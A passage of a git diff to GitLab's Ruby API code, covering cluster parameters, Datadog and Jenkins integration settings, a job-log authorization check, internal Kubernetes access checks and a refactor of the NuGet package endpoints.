authorize!(:admin_list, user_group)
create_list
diff --git a/lib/api/group_clusters.rb b/lib/api/group_clusters.rb
index a435b050042..81944a653c8 100644
--- a/lib/api/group_clusters.rb
+++ b/lib/api/group_clusters.rb
@@ -75,10 +75,12 @@ module API
params do
requires :cluster_id, type: Integer, desc: 'The cluster ID'
optional :name, type: String, desc: 'Cluster name'
+ optional :enabled, type: Boolean, desc: 'Determines if cluster is active or not'
optional :domain, type: String, desc: 'Cluster base domain'
optional :environment_scope, type: String, desc: 'The associated environment to the cluster'
optional :namespace_per_environment, default: true, type: Boolean, desc: 'Deploy each environment to a separate Kubernetes namespace'
optional :management_project_id, type: Integer, desc: 'The ID of the management project'
+ optional :managed, type: Boolean, desc: 'Determines if GitLab will manage namespaces and service accounts for this cluster'
optional :platform_kubernetes_attributes, type: Hash, desc: %q(Platform Kubernetes data) do
optional :api_url, type: String, desc: 'URL to access the Kubernetes API'
optional :token, type: String, desc: 'Token to authenticate against Kubernetes'
diff --git a/lib/api/group_labels.rb b/lib/api/group_labels.rb
index bf3ac8800b7..7fbf4445116 100644
--- a/lib/api/group_labels.rb
+++ b/lib/api/group_labels.rb
@@ -66,7 +66,7 @@ module API
success Entities::GroupLabel
end
params do
- optional :label_id, type: Integer, desc: 'The id of the label to be updated'
+ optional :label_id, type: Integer, desc: 'The ID of the label to be updated'
optional :name, type: String, desc: 'The name of the label to be updated'
use :group_label_update_params
exactly_one_of :label_id, :name
diff --git a/lib/api/helpers.rb b/lib/api/helpers.rb
index 147d8407142..6fe25471289 100644
--- a/lib/api/helpers.rb
+++ b/lib/api/helpers.rb
@@ -271,6 +271,10 @@ module API
authorize! :read_build, user_project
end
+ def authorize_read_build_trace!(build)
+ authorize! :read_build_trace, build
+ end
+
def authorize_destroy_artifacts!
authorize! :destroy_artifacts, user_project
end
@@ -318,7 +322,7 @@ module API
# keys (required) - A hash consisting of keys that must be present
def required_attributes!(keys)
keys.each do |key|
- bad_request!(key) unless params[key].present?
+ bad_request_missing_attribute!(key) unless params[key].present?
end
end
@@ -364,12 +368,16 @@ module API
render_api_error!(message.join(' '), 403)
end
- def bad_request!(attribute)
- message = ["400 (Bad request)"]
- message << "\"" + attribute.to_s + "\" not given" if attribute
+ def bad_request!(reason = nil)
+ message = ['400 Bad request']
+ message << "- #{reason}" if reason
render_api_error!(message.join(' '), 400)
end
+ def bad_request_missing_attribute!(attribute)
+ bad_request!("\"#{attribute}\" not given")
+ end
+
def not_found!(resource = nil)
message = ["404"]
message << resource if resource
@@ -536,13 +544,23 @@ module API
)
end
+ def increment_counter(event_name)
+ feature_name = "usage_data_#{event_name}"
+ return unless Feature.enabled?(feature_name)
+
+ Gitlab::UsageDataCounters.count(event_name)
+ rescue => error
+ Gitlab::AppLogger.warn("Redis tracking event failed for event: #{event_name}, message: #{error.message}")
+ end
+
# @param event_name [String] the event name
# @param values [Array|String] the values counted
def increment_unique_values(event_name, values)
return unless values.present?
- feature_name = "usage_data_#{event_name}"
- return unless Feature.enabled?(feature_name)
+ feature_flag = "usage_data_#{event_name}"
+
+ return unless Feature.enabled?(feature_flag, default_enabled: true)
Gitlab::UsageDataCounters::HLLRedisCounter.track_event(values, event_name)
rescue => error
diff --git a/lib/api/helpers/internal_helpers.rb b/lib/api/helpers/internal_helpers.rb
index 69b53ea6c2f..12b0a053e79 100644
--- a/lib/api/helpers/internal_helpers.rb
+++ b/lib/api/helpers/internal_helpers.rb
@@ -31,8 +31,7 @@ module API
def access_checker_for(actor, protocol)
access_checker_klass.new(actor.key_or_user, container, protocol,
authentication_abilities: ssh_authentication_abilities,
- namespace_path: namespace_path,
- repository_path: project_path,
+ repository_path: repository_path,
redirected_path: redirected_path)
end
@@ -71,18 +70,22 @@ module API
false
end
- def project_path
- project&.path || project_path_match[:project_path]
- end
-
- def namespace_path
- project&.namespace&.full_path || project_path_match[:namespace_path]
- end
-
private
- def project_path_match
- @project_path_match ||= params[:project].match(Gitlab::PathRegex.full_project_git_path_regex) || {}
+ def repository_path
+ if container
+ "#{container.full_path}.git"
+ elsif params[:project]
+ # When the project doesn't exist, we still need to pass on the path
+ # to support auto-creation in `GitAccessProject`.
+ #
+ # For consistency with the Git HTTP controllers, we normalize the path
+ # to remove a leading slash and ensure a trailing `.git`.
+ #
+ # NOTE: For GitLab Shell, `params[:project]` is the full repository path
+ # from the SSH command, with an optional trailing `.git`.
+ "#{params[:project].delete_prefix('/').delete_suffix('.git')}.git"
+ end
end
# rubocop:disable Gitlab/ModuleWithInstanceVariables
@@ -96,7 +99,7 @@ module API
end
# rubocop:enable Gitlab/ModuleWithInstanceVariables
- # Project id to pass between components that don't share/don't have
+ # Repository id to pass between components that don't share/don't have
# access to the same filesystem mounts
def gl_repository
repo_type.identifier_for_container(container)
@@ -106,8 +109,9 @@ module API
repository.full_path
end
- # Return the repository depending on whether we want the wiki or the
- # regular repository
+ # Return the repository for the detected type and container
+ #
+ # @returns [Repository]
def repository
@repository ||= repo_type.repository_for(container)
end
diff --git a/lib/api/helpers/members_helpers.rb b/lib/api/helpers/members_helpers.rb
index 431001c227d..8aed578905e 100644
--- a/lib/api/helpers/members_helpers.rb
+++ b/lib/api/helpers/members_helpers.rb
@@ -45,7 +45,7 @@ module API
end
def find_all_members_for_project(project)
- MembersFinder.new(project, current_user).execute(include_relations: [:inherited, :direct, :invited_groups_members])
+ MembersFinder.new(project, current_user).execute(include_relations: [:inherited, :direct, :invited_groups])
end
def find_all_members_for_group(group)
diff --git a/lib/api/helpers/packages/basic_auth_helpers.rb b/lib/api/helpers/packages/basic_auth_helpers.rb
index e35a8712131..0784efc11d6 100644
--- a/lib/api/helpers/packages/basic_auth_helpers.rb
+++ b/lib/api/helpers/packages/basic_auth_helpers.rb
@@ -7,8 +7,8 @@ module API
extend ::Gitlab::Utils::Override
module Constants
- AUTHENTICATE_REALM_HEADER = 'Www-Authenticate: Basic realm'
- AUTHENTICATE_REALM_NAME = 'GitLab Packages Registry'
+ AUTHENTICATE_REALM_HEADER = 'WWW-Authenticate'
+ AUTHENTICATE_REALM_NAME = 'Basic realm="GitLab Packages Registry"'
end
include Constants
diff --git a/lib/api/helpers/packages/conan/api_helpers.rb b/lib/api/helpers/packages/conan/api_helpers.rb
index 934e18bdd0a..39ecfc171a9 100644
--- a/lib/api/helpers/packages/conan/api_helpers.rb
+++ b/lib/api/helpers/packages/conan/api_helpers.rb
@@ -164,7 +164,11 @@ module API
end
def find_or_create_package
- package || ::Packages::Conan::CreatePackageService.new(project, current_user, params).execute
+ package || ::Packages::Conan::CreatePackageService.new(
+ project,
+ current_user,
+ params.merge(build: current_authenticated_job)
+ ).execute
end
def track_push_package_event
@@ -184,7 +188,11 @@ module API
def create_package_file_with_type(file_type, current_package)
unless params[:file].size == 0 # rubocop: disable Style/ZeroLengthPredicate
# conan sends two upload requests, the first has no file, so we skip record creation if file.size == 0
- ::Packages::Conan::CreatePackageFileService.new(current_package, params[:file], params.merge(conan_file_type: file_type)).execute
+ ::Packages::Conan::CreatePackageFileService.new(
+ current_package,
+ params[:file],
+ params.merge(conan_file_type: file_type, build: current_authenticated_job)
+ ).execute
end
end
@@ -214,6 +222,7 @@ module API
return unless route_authentication_setting[:job_token_allowed]
job = find_job_from_token || raise(::Gitlab::Auth::UnauthorizedError)
+ @current_authenticated_job = job # rubocop:disable Gitlab/ModuleWithInstanceVariables
job.user
end
diff --git a/lib/api/helpers/projects_helpers.rb b/lib/api/helpers/projects_helpers.rb
index 0364ba2ad9e..f5f45cf7351 100644
--- a/lib/api/helpers/projects_helpers.rb
+++ b/lib/api/helpers/projects_helpers.rb
@@ -6,7 +6,7 @@ module API
extend ActiveSupport::Concern
extend Grape::API::Helpers
- STATISTICS_SORT_PARAMS = %w[storage_size repository_size wiki_size].freeze
+ STATISTICS_SORT_PARAMS = %w[storage_size repository_size wiki_size packages_size].freeze
params :optional_project_params_ce do
optional :description, type: String, desc: 'The description of the project'
@@ -32,6 +32,8 @@ module API
optional :builds_access_level, type: String, values: %w(disabled private enabled), desc: 'Builds access level. One of `disabled`, `private` or `enabled`'
optional :snippets_access_level, type: String, values: %w(disabled private enabled), desc: 'Snippets access level. One of `disabled`, `private` or `enabled`'
optional :pages_access_level, type: String, values: %w(disabled private enabled public), desc: 'Pages access level. One of `disabled`, `private`, `enabled` or `public`'
+ optional :operations_access_level, type: String, values: %w(disabled private enabled), desc: 'Operations access level. One of `disabled`, `private` or `enabled`'
+ optional :analytics_access_level, type: String, values: %w(disabled private enabled), desc: 'Analytics access level. One of `disabled`, `private` or `enabled`'
optional :emails_disabled, type: Boolean, desc: 'Disable email notifications'
optional :show_default_award_emojis, type: Boolean, desc: 'Show default award emojis'
diff --git a/lib/api/helpers/services_helpers.rb b/lib/api/helpers/services_helpers.rb
index 4adb27a7414..9d2fd9978d9 100644
--- a/lib/api/helpers/services_helpers.rb
+++ b/lib/api/helpers/services_helpers.rb
@@ -304,6 +304,38 @@ module API
desc: 'Project URL'
}
],
+ 'datadog' => [
+ {
+ required: true,
+ name: :api_key,
+ type: String,
+ desc: 'API key used for authentication with Datadog'
+ },
+ {
+ required: false,
+ name: :datadog_site,
+ type: String,
+ desc: 'Choose the Datadog site to send data to. Set to "datadoghq.eu" to send data to the EU site'
+ },
+ {
+ required: false,
+ name: :api_url,
+ type: String,
+ desc: '(Advanced) Define the full URL for your Datadog site directly'
+ },
+ {
+ required: false,
+ name: :datadog_service,
+ type: String,
+ desc: 'Name of this GitLab instance that all data will be tagged with'
+ },
+ {
+ required: false,
+ name: :datadog_env,
+ type: String,
+ desc: 'The environment tag that traces will be tagged with'
+ }
+ ],
'discord' => [
{
required: true,
@@ -459,6 +491,32 @@ module API
desc: 'Colorize messages'
}
],
+ 'jenkins' => [
+ {
+ required: true,
+ name: :jenkins_url,
+ type: String,
+ desc: 'Jenkins root URL like https://jenkins.example.com'
+ },
+ {
+ required: true,
+ name: :project_name,
+ type: String,
+ desc: 'The URL-friendly project name. Example: my_project_name'
+ },
+ {
+ required: false,
+ name: :username,
+ type: String,
+ desc: 'A user with access to the Jenkins server, if applicable'
+ },
+ {
+ required: false,
+ name: :password,
+ type: String,
+ desc: 'The password of the user'
+ }
+ ],
'jira' => [
{
required: true,
@@ -758,6 +816,7 @@ module API
::ConfluenceService,
::CampfireService,
::CustomIssueTrackerService,
+ ::DatadogService,
::DiscordService,
::DroneCiService,
::EmailsOnPushService,
@@ -767,6 +826,7 @@ module API
::HangoutsChatService,
::HipchatService,
::IrkerService,
+ ::JenkinsService,
::JiraService,
::MattermostSlashCommandsService,
::SlackSlashCommandsService,
@@ -787,7 +847,6 @@ module API
def self.development_service_classes
[
::MockCiService,
- ::MockDeploymentService,
::MockMonitoringService
]
end
diff --git a/lib/api/helpers/sse_helpers.rb b/lib/api/helpers/sse_helpers.rb
new file mode 100644
index 00000000000..c354694f508
--- /dev/null
+++ b/lib/api/helpers/sse_helpers.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+module API
+ module Helpers
+ module SSEHelpers
+ def request_from_sse?(project)
+ return false if request.referer.blank?
+
+ uri = URI.parse(request.referer)
+ uri.path.starts_with?(::Gitlab::Routing.url_helpers.project_root_sse_path(project))
+ rescue URI::InvalidURIError
+ false
+ end
+ end
+ end
+end
diff --git a/lib/api/internal/base.rb b/lib/api/internal/base.rb
index 61ef1d5bde0..332f2f1986f 100644
--- a/lib/api/internal/base.rb
+++ b/lib/api/internal/base.rb
@@ -300,7 +300,7 @@ module API
post '/two_factor_otp_check', feature_category: :authentication_and_authorization do
status 200
- break { success: false } unless Feature.enabled?(:two_factor_for_cli)
+ break { success: false, message: 'Feature flag is disabled' } unless Feature.enabled?(:two_factor_for_cli)
actor.update_last_used_at!
user = actor.user
@@ -316,6 +316,8 @@ module API
otp_validation_result = ::Users::ValidateOtpService.new(user).execute(params.fetch(:otp_attempt))
if otp_validation_result[:status] == :success
+ ::Gitlab::Auth::Otp::SessionEnforcer.new(actor.key).update_session
+
{ success: true }
else
{ success: false, message: 'Invalid OTP' }
diff --git a/lib/api/internal/kubernetes.rb b/lib/api/internal/kubernetes.rb
index d4690709de4..73723a96401 100644
--- a/lib/api/internal/kubernetes.rb
+++ b/lib/api/internal/kubernetes.rb
@@ -85,9 +85,7 @@ module API
get '/project_info' do
project = find_project(params[:id])
- # TODO sort out authorization for real
- # https://gitlab.com/gitlab-org/gitlab/-/issues/220912
- unless Ability.allowed?(nil, :download_code, project)
+ unless Guest.can?(:download_code, project) || agent.has_access_to?(project)
not_found!
end
@@ -123,3 +121,5 @@ module API
end
end
end
+
+API::Internal::Kubernetes.prepend_if_ee('EE::API::Internal::Kubernetes')
diff --git a/lib/api/internal/pages.rb b/lib/api/internal/pages.rb
index 690f52d89f3..8eaeeae26c2 100644
--- a/lib/api/internal/pages.rb
+++ b/lib/api/internal/pages.rb
@@ -32,26 +32,29 @@ module API
requires :host, type: String, desc: 'The host to query for'
end
get "/" do
- serverless_domain_finder = ServerlessDomainFinder.new(params[:host])
- if serverless_domain_finder.serverless?
- # Handle Serverless domains
- serverless_domain = serverless_domain_finder.execute
- no_content! unless serverless_domain
-
- virtual_domain = Serverless::VirtualDomain.new(serverless_domain)
- no_content! unless virtual_domain
-
- present virtual_domain, with: Entities::Internal::Serverless::VirtualDomain
- else
- # Handle Pages domains
- host = Namespace.find_by_pages_host(params[:host]) || PagesDomain.find_by_domain_case_insensitive(params[:host])
- no_content! unless host
-
- virtual_domain = host.pages_virtual_domain
- no_content! unless virtual_domain
-
- present virtual_domain, with: Entities::Internal::Pages::VirtualDomain
- end
+ ##
+ # Serverless domain proxy has been deprecated and disabled as per
+ # https://gitlab.com/gitlab-org/gitlab-pages/-/issues/467
+ #
+ # serverless_domain_finder = ServerlessDomainFinder.new(params[:host])
+ # if serverless_domain_finder.serverless?
+ # # Handle Serverless domains
+ # serverless_domain = serverless_domain_finder.execute
+ # no_content! unless serverless_domain
+ #
+ # virtual_domain = Serverless::VirtualDomain.new(serverless_domain)
+ # no_content! unless virtual_domain
+ #
+ # present virtual_domain, with: Entities::Internal::Serverless::VirtualDomain
+ # end
+
+ host = Namespace.find_by_pages_host(params[:host]) || PagesDomain.find_by_domain_case_insensitive(params[:host])
+ no_content! unless host
+
+ virtual_domain = host.pages_virtual_domain
+ no_content! unless virtual_domain
+
+ present virtual_domain, with: Entities::Internal::Pages::VirtualDomain
end
end
end
diff --git a/lib/api/issues.rb b/lib/api/issues.rb
index 6a6ee7a4e1c..73e2163248d 100644
--- a/lib/api/issues.rb
+++ b/lib/api/issues.rb
@@ -435,3 +435,5 @@ module API
end
end
end
+
+API::Issues.prepend_if_ee('EE::API::Issues')
diff --git a/lib/api/jobs.rb b/lib/api/jobs.rb
index 51659c2e8a1..44751b3d76c 100644
--- a/lib/api/jobs.rb
+++ b/lib/api/jobs.rb
@@ -76,6 +76,8 @@ module API
build = find_build!(params[:job_id])
+ authorize_read_build_trace!(build) if build
+
header 'Content-Disposition', "infile; filename=\"#{build.id}.log\""
content_type 'text/plain'
env['api.format'] = :binary
diff --git a/lib/api/labels.rb b/lib/api/labels.rb
index a8fc277989e..c9f29865664 100644
--- a/lib/api/labels.rb
+++ b/lib/api/labels.rb
@@ -57,7 +57,7 @@ module API
success Entities::ProjectLabel
end
params do
- optional :label_id, type: Integer, desc: 'The id of the label to be updated'
+ optional :label_id, type: Integer, desc: 'The ID of the label to be updated'
optional :name, type: String, desc: 'The name of the label to be updated'
use :project_label_update_params
exactly_one_of :label_id, :name
@@ -71,7 +71,7 @@ module API
success Entities::ProjectLabel
end
params do
- optional :label_id, type: Integer, desc: 'The id of the label to be deleted'
+ optional :label_id, type: Integer, desc: 'The ID of the label to be deleted'
optional :name, type: String, desc: 'The name of the label to be deleted'
exactly_one_of :label_id, :name
end
diff --git a/lib/api/members.rb b/lib/api/members.rb
index 803de51651a..9bea74e2ce9 100644
--- a/lib/api/members.rb
+++ b/lib/api/members.rb
@@ -62,7 +62,7 @@ module API
get ":id/members/:user_id" do
source = find_source(source_type, params[:id])
- members = source.members
+ members = source_members(source)
member = members.find_by!(user_id: params[:user_id])
present_members member
diff --git a/lib/api/merge_request_approvals.rb b/lib/api/merge_request_approvals.rb
index 27ef0b9c7cd..00f42703731 100644
--- a/lib/api/merge_request_approvals.rb
+++ b/lib/api/merge_request_approvals.rb
@@ -4,7 +4,7 @@ module API
class MergeRequestApprovals < ::API::Base
before { authenticate_non_get! }
- feature_category :code_review
+ feature_category :source_code_management
helpers do
params :ee_approval_params do
diff --git a/lib/api/merge_requests.rb b/lib/api/merge_requests.rb
index d17e451093b..ab0e9b95e4a 100644
--- a/lib/api/merge_requests.rb
+++ b/lib/api/merge_requests.rb
@@ -11,6 +11,7 @@ module API
feature_category :code_review
helpers Helpers::MergeRequestsHelpers
+ helpers Helpers::SSEHelpers
# EE::API::MergeRequests would override the following helpers
helpers do
@@ -216,6 +217,8 @@ module API
handle_merge_request_errors!(merge_request)
+ Gitlab::UsageDataCounters::EditorUniqueCounter.track_sse_edit_action(author: current_user) if request_from_sse?(user_project)
+
present merge_request, with: Entities::MergeRequest, current_user: current_user, project: user_project
end
diff --git a/lib/api/nuget_packages.rb b/lib/api/nuget_packages.rb
deleted file mode 100644
index 65a85f3c930..00000000000
--- a/lib/api/nuget_packages.rb
+++ /dev/null
@@ -1,247 +0,0 @@
-# frozen_string_literal: true
-
-# NuGet Package Manager Client API
-#
-# These API endpoints are not meant to be consumed directly by users. They are
-# called by the NuGet package manager client when users run commands
-# like `nuget install` or `nuget push`.
-module API
- class NugetPackages < ::API::Base
- helpers ::API::Helpers::PackagesManagerClientsHelpers
- helpers ::API::Helpers::Packages::BasicAuthHelpers
-
- feature_category :package_registry
-
- POSITIVE_INTEGER_REGEX = %r{\A[1-9]\d*\z}.freeze
- NON_NEGATIVE_INTEGER_REGEX = %r{\A0|[1-9]\d*\z}.freeze
-
- PACKAGE_FILENAME = 'package.nupkg'
-
- default_format :json
-
- rescue_from ArgumentError do |e|
- render_api_error!(e.message, 400)
- end
-
- helpers do
- def find_packages
- packages = package_finder.execute
-
- not_found!('Packages') unless packages.exists?
-
- packages
- end
-
- def find_package
- package = package_finder(package_version: params[:package_version]).execute
- .first
-
- not_found!('Package') unless package
-
- package
- end
-
- def package_finder(finder_params = {})
- ::Packages::Nuget::PackageFinder.new(
- authorized_user_project,
- **finder_params.merge(package_name: params[:package_name])
- )
- end
- end
-
- before do
- require_packages_enabled!
- end
-
- params do
- requires :id, type: String, desc: 'The ID of a project', regexp: POSITIVE_INTEGER_REGEX
- end
-
- route_setting :authentication, deploy_token_allowed: true, job_token_allowed: :basic_auth, basic_auth_personal_access_token: true
-
- resource :projects, requirements: API::NAMESPACE_OR_PROJECT_REQUIREMENTS do
- before do
- authorized_user_project
- end
-
- namespace ':id/packages/nuget' do
- # https://docs.microsoft.com/en-us/nuget/api/service-index
- desc 'The NuGet Service Index' do
- detail 'This feature was introduced in GitLab 12.6'
- end
-
- route_setting :authentication, deploy_token_allowed: true, job_token_allowed: :basic_auth, basic_auth_personal_access_token: true
-
- get 'index', format: :json do
- authorize_read_package!(authorized_user_project)
-
- track_package_event('cli_metadata', :nuget)
-
- present ::Packages::Nuget::ServiceIndexPresenter.new(authorized_user_project),
- with: ::API::Entities::Nuget::ServiceIndex
- end
-
- # https://docs.microsoft.com/en-us/nuget/api/package-publish-resource
- desc 'The NuGet Package Publish endpoint' do
- detail 'This feature was introduced in GitLab 12.6'
- end
-
- params do
- requires :package, type: ::API::Validations::Types::WorkhorseFile, desc: 'The package file to be published (generated by Multipart middleware)'
- end
-
- route_setting :authentication, deploy_token_allowed: true, job_token_allowed: :basic_auth, basic_auth_personal_access_token: true
-
- put do
- authorize_upload!(authorized_user_project)
- bad_request!('File is too large') if authorized_user_project.actual_limits.exceeded?(:nuget_max_file_size, params[:package].size)
-
- file_params = params.merge(
- file: params[:package],
- file_name: PACKAGE_FILENAME
- )
-
- package = ::Packages::Nuget::CreatePackageService.new(authorized_user_project, current_user)
- .execute
-
- package_file = ::Packages::CreatePackageFileService.new(package, file_params)
- .execute
-
- track_package_event('push_package', :nuget)
-
- ::Packages::Nuget::ExtractionWorker.perform_async(package_file.id) # rubocop:disable CodeReuse/Worker
-
- created!
- rescue ObjectStorage::RemoteStoreError => e
- Gitlab::ErrorTracking.track_exception(e, extra: { file_name: params[:file_name], project_id: authorized_user_project.id })
-
- forbidden!
- end
-
- route_setting :authentication, deploy_token_allowed: true, job_token_allowed: :basic_auth, basic_auth_personal_access_token: true
-
- put 'authorize' do
- authorize_workhorse!(
- subject: authorized_user_project,
- has_length: false,
- maximum_size: authorized_user_project.actual_limits.nuget_max_file_size
- )
- end
-
- params do
- requires :package_name, type: String, desc: 'The NuGet package name', regexp: API::NO_SLASH_URL_PART_REGEX
- end
- namespace '/metadata/*package_name' do
- before do
- authorize_read_package!(authorized_user_project)
- end
-
- # https://docs.microsoft.com/en-us/nuget/api/registration-base-url-resource
- desc 'The NuGet Metadata Service - Package name level' do
- detail 'This feature was introduced in GitLab 12.8'
- end
-
- route_setting :authentication, deploy_token_allowed: true, job_token_allowed: :basic_auth, basic_auth_personal_access_token: true
-
- get 'index', format: :json do
- present ::Packages::Nuget::PackagesMetadataPresenter.new(find_packages),
- with: ::API::Entities::Nuget::PackagesMetadata
- end
-
- desc 'The NuGet Metadata Service - Package name and version level' do
- detail 'This feature was introduced in GitLab 12.8'
- end
- params do
- requires :package_version, type: String, desc: 'The NuGet package version', regexp: API::NO_SLASH_URL_PART_REGEX
- end
-
- route_setting :authentication, deploy_token_allowed: true, job_token_allowed: :basic_auth, basic_auth_personal_access_token: true
-
- get '*package_version', format: :json do
- present ::Packages::Nuget::PackageMetadataPresenter.new(find_package),
- with: ::API::Entities::Nuget::PackageMetadata
- end
- end
-
- # https://docs.microsoft.com/en-us/nuget/api/package-base-address-resource
- params do
- requires :package_name, type: String, desc: 'The NuGet package name', regexp: API::NO_SLASH_URL_PART_REGEX
- end
- namespace '/download/*package_name' do
- before do
- authorize_read_package!(authorized_user_project)
- end
-
- desc 'The NuGet Content Service - index request' do
- detail 'This feature was introduced in GitLab 12.8'
- end
-
- route_setting :authentication, deploy_token_allowed: true, job_token_allowed: :basic_auth, basic_auth_personal_access_token: true
-
- get 'index', format: :json do
- present ::Packages::Nuget::PackagesVersionsPresenter.new(find_packages),
- with: ::API::Entities::Nuget::PackagesVersions
- end
-
- desc 'The NuGet Content Service - content request' do
- detail 'This feature was introduced in GitLab 12.8'
- end
- params do
- requires :package_version, type: String, desc: 'The NuGet package version', regexp: API::NO_SLASH_URL_PART_REGEX
- requires :package_filename, type: String, desc: 'The NuGet package filename', regexp: API::NO_SLASH_URL_PART_REGEX
- end
-
- route_setting :authentication, deploy_token_allowed: true, job_token_allowed: :basic_auth, basic_auth_personal_access_token: true
-
- get '*package_version/*package_filename', format: :nupkg do
- filename = "#{params[:package_filename]}.#{params[:format]}"
- package_file = ::Packages::PackageFileFinder.new(find_package, filename, with_file_name_like: true)
- .execute
-
- not_found!('Package') unless package_file
-
- track_package_event('pull_package', :nuget)
-
- # nuget and dotnet don't support 302 Moved status codes, supports_direct_download has to be set to false
- present_carrierwave_file!(package_file.file, supports_direct_download: false)
- end
- end
-
- params do
- requires :q, type: String, desc: 'The search term'
- optional :skip, type: Integer, desc: 'The number of results to skip', default: 0, regexp: NON_NEGATIVE_INTEGER_REGEX
- optional :take, type: Integer, desc: 'The number of results to return', default: Kaminari.config.default_per_page, regexp: POSITIVE_INTEGER_REGEX
- optional :prerelease, type: Boolean, desc: 'Include prerelease versions', default: true
- end
- namespace '/query' do
- before do
- authorize_read_package!(authorized_user_project)
- end
-
- # https://docs.microsoft.com/en-us/nuget/api/search-query-service-resource
- desc 'The NuGet Search Service' do
- detail 'This feature was introduced in GitLab 12.8'
- end
-
- route_setting :authentication, deploy_token_allowed: true, job_token_allowed: :basic_auth, basic_auth_personal_access_token: true
-
- get format: :json do
- search_options = {
- include_prerelease_versions: params[:prerelease],
- per_page: params[:take],
- padding: params[:skip]
- }
- search = Packages::Nuget::SearchService
- .new(authorized_user_project, params[:q], search_options)
- .execute
-
- track_package_event('search_package', :nuget)
-
- present ::Packages::Nuget::SearchResultsPresenter.new(search),
- with: ::API::Entities::Nuget::SearchResults
- end
- end
- end
- end
- end
-end
diff --git a/lib/api/nuget_project_packages.rb b/lib/api/nuget_project_packages.rb
new file mode 100644
index 00000000000..b2516cc91f8
--- /dev/null
+++ b/lib/api/nuget_project_packages.rb
@@ -0,0 +1,139 @@
+# frozen_string_literal: true
+
+# NuGet Package Manager Client API
+#
+# These API endpoints are not meant to be consumed directly by users. They are
+# called by the NuGet package manager client when users run commands
+# like `nuget install` or `nuget push`.
+module API
+ class NugetProjectPackages < ::API::Base
+ helpers ::API::Helpers::PackagesManagerClientsHelpers
+ helpers ::API::Helpers::Packages::BasicAuthHelpers
+
+ feature_category :package_registry
+
+ PACKAGE_FILENAME = 'package.nupkg'
+
+ default_format :json
+
+ rescue_from ArgumentError do |e|
+ render_api_error!(e.message, 400)
+ end
+
+ before do
+ require_packages_enabled!
+ end
+
+ params do
+ requires :id, type: String, desc: 'The ID of a project', regexp: ::API::Concerns::Packages::NugetEndpoints::POSITIVE_INTEGER_REGEX
+ end
+
+ route_setting :authentication, deploy_token_allowed: true, job_token_allowed: :basic_auth, basic_auth_personal_access_token: true
+
+ resource :projects, requirements: API::NAMESPACE_OR_PROJECT_REQUIREMENTS do
+ before do
+ authorized_user_project
+ end
+
+ namespace ':id/packages/nuget' do
+ include ::API::Concerns::Packages::NugetEndpoints
+
+ # https://docs.microsoft.com/en-us/nuget/api/package-publish-resource
+ desc 'The NuGet Package Publish endpoint' do
+ detail 'This feature was introduced in GitLab 12.6'
+ end
+
+ params do
+ requires :package, type: ::API::Validations::Types::WorkhorseFile, desc: 'The package file to be published (generated by Multipart middleware)'
+ end
+
+ route_setting :authentication, deploy_token_allowed: true, job_token_allowed: :basic_auth, basic_auth_personal_access_token: true
+
+ put do
+ authorize_upload!(authorized_user_project)
+ bad_request!('File is too large') if authorized_user_project.actual_limits.exceeded?(:nuget_max_file_size, params[:package].size)
+
+ file_params = params.merge(
+ file: params[:package],
+ file_name: PACKAGE_FILENAME
+ )
+
+ package = ::Packages::Nuget::CreatePackageService.new(
+ authorized_user_project,
+ current_user,
+ declared_params.merge(build: current_authenticated_job)
+ ).execute
+
+ package_file = ::Packages::CreatePackageFileService.new(
+ package,
+ file_params.merge(build: current_authenticated_job)
+ ).execute
+
+ track_package_event('push_package', :nuget, category: 'API::NugetPackages')
+
+ ::Packages::Nuget::ExtractionWorker.perform_async(package_file.id) # rubocop:disable CodeReuse/Worker
+
+ created!
+ rescue ObjectStorage::RemoteStoreError => e
+ Gitlab::ErrorTracking.track_exception(e, extra: { file_name: params[:file_name], project_id: authorized_user_project.id })
+
+ forbidden!
+ end
+
+ route_setting :authentication, deploy_token_allowed: true, job_token_allowed: :basic_auth, basic_auth_personal_access_token: true
+
+ put 'authorize' do
+ authorize_workhorse!(
+ subject: authorized_user_project,
+ has_length: false,
+ maximum_size: authorized_user_project.actual_limits.nuget_max_file_size
+ )
+ end
+
+ # https://docs.microsoft.com/en-us/nuget/api/package-base-address-resource
+ params do
+ requires :package_name, type: String, desc: 'The NuGet package name', regexp: API::NO_SLASH_URL_PART_REGEX
+ end
+ namespace '/download/*package_name' do
+ before do
+ authorize_read_package!(authorized_user_project)
+ end
+
+ desc 'The NuGet Content Service - index request' do
+ detail 'This feature was introduced in GitLab 12.8'
+ end
+
+ route_setting :authentication, deploy_token_allowed: true, job_token_allowed: :basic_auth, basic_auth_personal_access_token: true
+
+ get 'index', format: :json do
+ present ::Packages::Nuget::PackagesVersionsPresenter.new(find_packages),
+ with: ::API::Entities::Nuget::PackagesVersions
+ end
+
+ desc 'The NuGet Content Service - content request' do
+ detail 'This feature was introduced in GitLab 12.8'
+ end
+ params do
+ requires :package_version, type: String, desc: 'The NuGet package version', regexp: API::NO_SLASH_URL_PART_REGEX
+ requires :package_filename, type: String, desc: 'The NuGet package filename', regexp: API::NO_SLASH_URL_PART_REGEX
+ end
+
+ route_setting :authentication, deploy_token_allowed: true, job_token_allowed: :basic_auth, basic_auth_personal_access_token: true
+
+ get '*package_version/*package_filename', format: :nupkg do
+ filename = "#{params[:package_filename]}.#{params[:format]}"
+ package_file = ::Packages::PackageFileFinder.new(find_package, filename, with_file_name_like: true)
+ .execute
+
+ not_found!('Package') unless package_file
+
+ track_package_event('pull_package', :nuget, category: 'API::NugetPackages')
+
+ # nuget and dotnet don't support 302 Moved status codes, supports_direct_download has to be set to false
+ present_carrierwave_file!(package_file.file, supports_direct_download: false)
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/api/project_clusters.rb b/lib/api/project_clusters.rb
index cfb0c5fd705..6785b28ddef 100644
--- a/lib/api/project_clusters.rb
+++ b/lib/api/project_clusters.rb
@@ -83,6 +83,8 @@ module API
optional :environment_scope, type: String, desc: 'The associated environment to the cluster'
optional :namespace_per_environment, default: true, type: Boolean, desc: 'Deploy each environment to a separate Kubernetes namespace'
optional :management_project_id, type: Integer, desc: 'The ID of the management project'
+ optional :enabled, type: Boolean, desc: 'Determines if cluster is active or not'
+ optional :managed, type: Boolean, desc: 'Determines if GitLab will manage namespaces and service accounts for this cluster'
optional :platform_kubernetes_attributes, type: Hash, desc: %q(Platform Kubernetes data) do
optional :api_url, type: String, desc: 'URL to access the Kubernetes API'
optional :token, type: String, desc: 'Token to authenticate against Kubernetes'
diff --git a/lib/api/project_repository_storage_moves.rb b/lib/api/project_repository_storage_moves.rb
index fe6de3ea385..196b7d88500 100644
